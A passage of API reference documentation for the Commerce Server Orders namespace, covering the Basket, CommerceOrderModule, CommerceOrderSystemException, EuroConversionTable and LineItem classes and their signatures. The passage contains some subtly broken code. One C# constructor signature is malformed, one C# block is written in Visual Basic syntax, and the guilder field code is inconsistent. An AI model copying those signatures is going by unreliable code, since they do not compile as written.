TaxIncluded (Inherited from OrderGroup) | Retrieves the order group instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.
TaxTotal (Inherited from OrderGroup) | Retrieves the total amount of tax from the OrderForm.TaxTotal property in this OrderGroup instance.
Total (Inherited from OrderGroup) | Retrieves the total amount for the OrderGroup instance. This amount includes shipping, handling and tax.
Xml (Inherited from OrderGroup) | Accesses the XML format of the order group instance.

Protected Instance Methods

Method | Description
CheckState (Inherited from OrderGroup) | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket Methods (BCL)

Public Instance Methods

Method | Description
Add(OrderTemplate) | Adds the items from the specified order template to the basket instance.
Add(PurchaseOrder) | Adds the items from the specified purchase order to the basket instance.
Clear | Clears all the order forms and the addresses associated with the basket instance.
Delete | Purges the basket instance from the underlying stores.
Dispose (Inherited from OrderGroup) | Releases resources used by this object.
GetEnumerator (Inherited from OrderGroup) | Retrieves the enumerator on this OrderGroup instance
RunPipeline(PipelineInfo) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
Save | Persists the basket instance to the underlying stores.
SaveAsOrder | Persists the basket instance as a purchase order to the underlying stores.
SetBillingAddress(String) | Sets the billing address property on every order form in the basket.
SetPropertyOnOrderForms(String, Object) | Sets the specified property on every order form in the basket.
SetShippingAddress(String) | Sets the shipping address property on every line item of every order form in the basket.

Protected Instance Methods

Method | Description
CheckState (Inherited from OrderGroup) | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.Add (OrderTemplate) Method (BCL)

Use this method to add items from the specified order template to this basket instance.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal orderTemplate As OrderTemplate _
)
[C#]
public void Add(
  OrderTemplate orderTemplate
);

Parameters

[Visual Basic .NET]
orderTemplate
The order template instance to add to the basket.
[C#]
orderTemplate
The order template instance to add to the basket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

OrderGroup Object

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.Add (PurchaseOrder) Method (BCL)

Use this method to add items from the specified purchase order to this basket instance.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal purchaseOrder As PurchaseOrder _
)
[C#]
public void Add(
  PurchaseOrder purchaseOrder
);

Parameters

[Visual Basic .NET]
purchaseOrder
The purchase order instance to add to the basket.
[C#]
purchaseOrder
The purchase order instance to add to the basket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

OrderGroup Object

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.Clear Method (BCL)

Use this method to clear all the order forms and the addresses associated with this basket instance.

Definition

[Visual Basic .NET]
Public Sub Clear( _
)
[C#]
public void Clear(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

OrderGroup Object

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.Delete Method (BCL)

Use this method to purge the basket instance from the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Delete( _
)
[C#]
public void Delete(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

OrderGroupManager Object

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this class and to optionally release the managed resources.

Definition

[Visual Basic .NET]
Overrides Protected Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected override void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
A Boolean indicating if the object can be disposed.
[C#]
disposing
A Boolean indicating if the object can be disposed.

Remarks

This method releases the resources held by this object, and marks the object as disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.Save Method (BCL)

Use this method to persist the basket to the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Save( _
)
[C#]
public void Save(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

OrderGroup Object

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.SaveAsOrder Method (BCL)

Use this method to persist the basket as a purchase order to the underlying stores.

Definition

[Visual Basic .NET]
Public Function SaveAsOrder( _
) As PurchaseOrder
[C#]
public PurchaseOrder SaveAsOrder(
);

Return Value

The saved purchase order instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

OrderGroup Object

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.SetBillingAddress (String) Method (BCL)

Use this method to set the billing address property on every order form in the basket.

Definition

[Visual Basic .NET]
Public Sub SetBillingAddress( _
  ByVal billingAddress As System.String _
)
[C#]
public void SetBillingAddress(
  System.String billingAddress
);

Parameters

[Visual Basic .NET]
billingAddress
The billing address ID.
[C#]
billingAddress
The billing address ID.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.SetPropertyOnOrderForms (String, Object) Method (BCL)

Use this method to set the specified property on every order form in the basket.

Definition

[Visual Basic .NET]
Public Sub SetPropertyOnOrderForms( _
  ByVal keyName As System.String, _
  ByVal keyValue As System.Object _
)
[C#]
public void SetPropertyOnOrderForms(
  System.String keyName,
  System.Object keyValue
);

Parameters

[Visual Basic .NET]
keyName
The name of the property.
keyValue
The value of the property.
[C#]
keyName
The name of the property.
keyValue
The value of the property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.SetShippingAddress (String) Method (BCL)

Use this method to set the shipping address property on every line item of every order form in the basket.

Definition

[Visual Basic .NET]
Public Sub SetShippingAddress( _
  ByVal shippingAddress As System.String _
)
[C#]
public void SetShippingAddress(
  System.String shippingAddress
);

Parameters

[Visual Basic .NET]
shippingAddress
The shipping address ID.
[C#]
shippingAddress
The shipping address ID.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket Properties (BCL)

Public Instance Properties

Property | Description
Addresses (Inherited from OrderGroup) | Retrieves the addresses collection associated with the OrderGroup instance.
BasketID | Accesses the BasketID field.
HandlingTotal (Inherited from OrderGroup) | Retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.
Item(String) (Inherited from OrderGroup) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount (Inherited from OrderGroup) | Retrieves the count of all the line items on all the forms in the OrderGroup instance.
Name (Inherited from OrderGroup) | Accesses the order group name.
OrderForms (Inherited from OrderGroup) | Retrieves the OrderFormCollection associated with this OrderGroup object.
OrderGroupID (Inherited from OrderGroup) | Retrieves the ID associated with the OrderGroup instance.
ShippingTotal (Inherited from OrderGroup) | Retrieves the value of the ShippingTotal property for the OrderForm objects in the OrderGroup instance.
StatusCode | Accesses the order group status code on this basket instance.
SubTotal (Inherited from OrderGroup) | Retrieves the subtotal for the order group instance from the OrderForm.Subtotal property in this OrderGroup instance.
TaxIncluded (Inherited from OrderGroup) | Retrieves the order group instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.
TaxTotal (Inherited from OrderGroup) | Retrieves the total amount of tax from the OrderForm.TaxTotal property in this OrderGroup instance.
Total (Inherited from OrderGroup) | Retrieves the total amount for the OrderGroup instance. This amount includes shipping, handling and tax.
Xml (Inherited from OrderGroup) | Accesses the XML format of the order group instance.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.BasketID Property (BCL)

The BasketId property is a read-only Guid that returns the GUID for this basket instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property BasketId As System.Guid
[C#]
public System.Guid BasketId {get;}

Property Value

The GUID for the basket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.StatusCode Property (BCL)

The StatusCode property is a read-only integer that contains the order group status code for the basket instance.

Definition

[Visual Basic .NET]
Public Overridable ReadOnly Property StatusCode As System.Int32
[C#]
public virtual System.Int32 StatusCode {get;}

Property Value

The status code for the basket instance.

Remarks

If this property is not set (as is the case for newly created in-memory basket instances), this property returns 1.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


CommerceOrderModule Class (BCL)

Creates the default OrderContext object for the Commerce Server site.

Public Instance Constructor

Constructor | Description
CommerceOrderModule Constructor | Creates a new instance of the CommerceOrderModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Subscribes the class to application BeginRequest events.
OnBeginRequest(Object, EventArgs) | Handles events for the HttpApplication object BeginRequest events.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
OrderContext | Gets the OrderContext instance created by the module.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceOrderModule Constructor | Creates a new instance of the CommerceOrderModule class.


CommerceOrderModule Constructor (BCL)

Use this method to create a new CommerceOrderModule class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceOrderModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Subscribes the class to application BeginRequest events.
OnBeginRequest(Object, EventArgs) | Handles events for the HttpApplication object BeginRequest events.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceOrderModule.Init(HttpApplication) Method (BCL)

Use this method to subscribe the class to application BeginRequest events.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The HttpApplication instance that created this module.
[C#]
appInstance
The HttpApplication instance that created this module.

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderModule.OnBeginRequest (Object, EventArgs) Method (BCL)

Use this method to handle the HttpApplication object BeginRequest events.

Definition

[Visual Basic .NET]
Public Sub OnBeginRequest( _
  ByVal sender As System.Object, _
  ByVal e As System.EventArgs _
)
[C#]
public void OnBeginRequest(
  System.Object sender,
  System.EventArgs e
);

Parameters

[Visual Basic .NET]
sender
The HttpApplication instance that sent the event.
e
The event arguments.
[C#]
sender
The HttpApplication instance that sent the event.
e
The event arguments.

Remarks

Sets the OrderContext member of the current CommerceContext object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
OrderContext | Gets the OrderContext instance created by the module.


CommerceOrderModule.OrderContext Property (BCL)

The OrderContext property is a read-only property that gets the OrderContext instance created by the module.

Definition

[Visual Basic .NET]
Public ReadOnly Property OrderContext As OrderContext
[C#]
public OrderContext OrderContext {get;}

Property Value

The OrderContext instance created by the module.

Remarks

The value will be null if the CommerceOrderModule class was not configured in the web.config file. ASP.NET pages should reference this through the CommerceContext.Current.OrderSystem property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Class (BCL)

Base class for exceptions thrown from the Order System sub system.

Public Instance Constructor

Constructor | Description
CommerceOrderSystemException Constructor | Creates a new instance of the CommerceOrderSystemException class.
CommerceOrderSystemException Constructor(String) | Creates a new instance of the CommerceOrderSystemException class with the specified message string.
CommerceOrderSystemException Constructor(String, Exception) | Creates a new instance of the CommerceOrderSystemException class with the specified message string and specified inner exception.

Protected Instance Constructor

Constructor | Description
CommerceOrderSystemException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceOrderSystemException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceOrderSystemException Constructor | Creates a new instance of the CommerceOrderSystemException class.
CommerceOrderSystemException Constructor(String) | Creates a new instance of the CommerceOrderSystemException class with the specified message string.
CommerceOrderSystemException Constructor(String, Exception) | Creates a new instance of the CommerceOrderSystemException class with the specified message string and specified inner exception.

Protected Instance Constructor

Constructor | Description
CommerceOrderSystemException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceOrderSystemException class with the specified serialization information and streaming context.


CommerceOrderSystemException Constructor (BCL)

Use this method to create a new instance of the CommerceOrderSystemException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceOrderSystemException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceOrderSystemException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceOrderSystemException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization information.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization information.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceOrderSystemException class with the specified message string.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceOrderSystemException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The error message.
[C#]
message
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceOrderSystemException class with the specified message string and specified inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceOrderSystemSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The error message.
inner
The exception.
[C#]
message
The error message.
inner
The exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceOrderSystemException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


EuroConversionTable Structure (BCL)

Specifies conversion rates from all 12 European currencies to euros.

Public Static (Shared) Fields

Field | Description
ATS | Austrian schilling to euro conversion rate.
BEF | Belgian franc to euro conversion rate.
DEM | Deutsche mark to euro conversion rate.
ESP | Spanish peseta to euro conversion rate.
FIM | Finnish markka to euro conversion rate.
FRF | French franc to euro conversion rate.
GRD | Greek drachma to euro conversion rate.
IEP | Irish pound to euro conversion rate.
ITL | Italian lira to euro conversion rate.
LUF | Luxembourg franc to euro conversion rate.
NGL | Dutch guilder to euro conversion rate.
PTE | Portuguese escudo to euro conversion rate.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.ATS Property (BCL)

The ATS property is a read only Decimal that converts the Austrian schilling to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property ATS As System.Decimal
[C#]
public static readonly System.Decimal ATS;

Remarks

The default conversion rate is 13.7603M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.BEF Property (BCL)

The BEF property is a read only Decimal that converts the Belgian franc to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property BEF As System.Decimal
[C#]
public static readonly System.Decimal BEF;

Remarks

The default conversion rate is 40.3399M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.DEM Property (BCL)

The DEM property is a read only Decimal that converts the Deutsche mark to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property DEM As System.Decimal
[C#]
public static readonly System.Decimal DEM;

Remarks

The default conversion rate is 1.95583M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.ESP Property (BCL)

The ESP property is a read only Decimal that converts the Spanish peseta to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property ESP As System.Decimal
[C#]
public static readonly System.Decimal ESP;

Remarks

The default conversion rate is 166.386M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.FIM Property (BCL)

The FIM property is a read only Decimal that converts the Finnish markka to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property FIM As System.Decimal
[C#]
public static readonly System.Decimal FIM;

Remarks

The default conversion rate is 5.94573M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.FRF Property (BCL)

The FRF property is a read only Decimal that converts the French franc to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property FRF As System.Decimal
[C#]
public static readonly System.Decimal FRF;

Remarks

The default conversion rate is 6.55957M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.GRD Property (BCL)

The GRD property is a read only Decimal that converts the Greek drachma to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property GRD As System.Decimal
[C#]
public static readonly System.Decimal GRD;

Remarks

The default conversion rate is 340.750M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.IEP Property (BCL)

The IEP property is a read only Decimal that converts the Irish pound to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property IEP As System.Decimal
[C#]
public static readonly System.Decimal IEP;

Remarks

The default conversion rate is 0.787564M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.ITL Property (BCL)

The ITL property is a read only Decimal that converts the Italian lira to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property ITL As System.Decimal
[C#]
public static readonly System.Decimal ITL;

Remarks

The default conversion rate is 1936.27M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.LUF Property (BCL)

The LUF property is a read only Decimal that converts the Luxembourg franc to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property LUF As System.Decimal
[C#]
public static readonly System.Decimal LUF;

Remarks

The default conversion rate is 40.3399M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.NLG Property (BCL)

The NLG property is a read only Decimal that converts the Dutch guilder to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property NLG As System.Decimal
[C#]
public static readonly System.Decimal NLG;

Remarks

The default conversion rate is 2.20371M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.PTE Property (BCL)

The PTE property is a read only Decimal that converts the Portuguese escudo to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property PTE As System.Decimal
[C#]
public static readonly System.Decimal PTE;

Remarks

The default conversion rate is 200.482M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem Class (BCL)

Abstracts a line item on an order form. A valid line item must have valid values for the ProductCatalog, ProductID, and Quantity properties.

Public Instance Constructor

Constructor | Description
LineItem Constructor | Creates a new instance of the LineItem class.
LineItem Constructor(String, String, String, Int32) | Creates a new instance of the LineItem class with the specified parameters.

Public Instance Methods

Method | Description
Dispose | Release resources used by this object.
GetEnumerator | Retrieves an enumerator on this collection.
GetHashCode | Overrides the Object.GetHashCode implementation.

Public Instance Properties

Property | Description
Index | Retrieves the index of this item in the owning LineItemCollection collection.
Item(String) | Accesses the specified property on the line item.
ParentOrderForm | Retrieves the order form owning this line item.
ProductCatalog | Accesses the value of the product_catalog field on the line item.
ProductCategory | Accesses the value of the product_category field on the line item.
ProductID | Accesses the value of the product_id field on the line item.
ProductVariantID | Accesses the value of the product_variant_id field on the line item.
Quantity | Accesses the value of the quantity field on the line item.
ShippingAddress | Accesses the value of the shipping_address_id field on the line item.
ShippingMethodID | Accesses the value of the shipping_method_id field on the line item.
ShippingMethodName | Accesses the value of the shipping_method_name field on the line item.

Protected Instance Methods

Method | Description
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem Constructor (BCL)

Public Instance Constructor

Constructor | Description
LineItem Constructor | Creates a new instance of the LineItem class.
LineItem Constructor(String, String, String, Int32) | Creates a new instance of the LineItem class with the specified parameters.


LineItem Constructor (BCL)

Use this method to create a new instance of the LineItem class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public LineItem(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem Constructor (String, String, String, Int32) (BCL)

Use this method to create a new instance of the LineItem class with the specified parameters.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal productCatalog As System.String, _
  ByVal productID As System.String, _
  ByVal productVariantID As System.String, _
  ByVal quantity As System.Int32 _
)
[C#]
public LineItem(
  System.String productCatalog,
  System.String productID,
  System.String productVariantID,
  System.Int32 quantity
);

Parameters

[Visual Basic .NET]
productCatalog
The product catalog to which this line item belongs.
productID
Product ID for the line item.
productVariantID
Product Variant ID for the line item.
quantity
The number of items being added to the basket.
[C#]
productCatalog
The product catalog to which this line item belongs.
productID
Product ID for the line item.
productVariantID
Product Variant ID for the line item.
quantity
The number of items being added to the basket.

Remarks

Throws ArgumentNullException if the productCatalog or productID parameters are null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Release resources used by this object.
GetEnumerator | Retrieves an enumerator on this collection.
GetHashCode | Overrides the Object.GetHashCode implementation.

Protected Instance Methods

Method | Description
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


LineItem.Dispose Method (BCL)

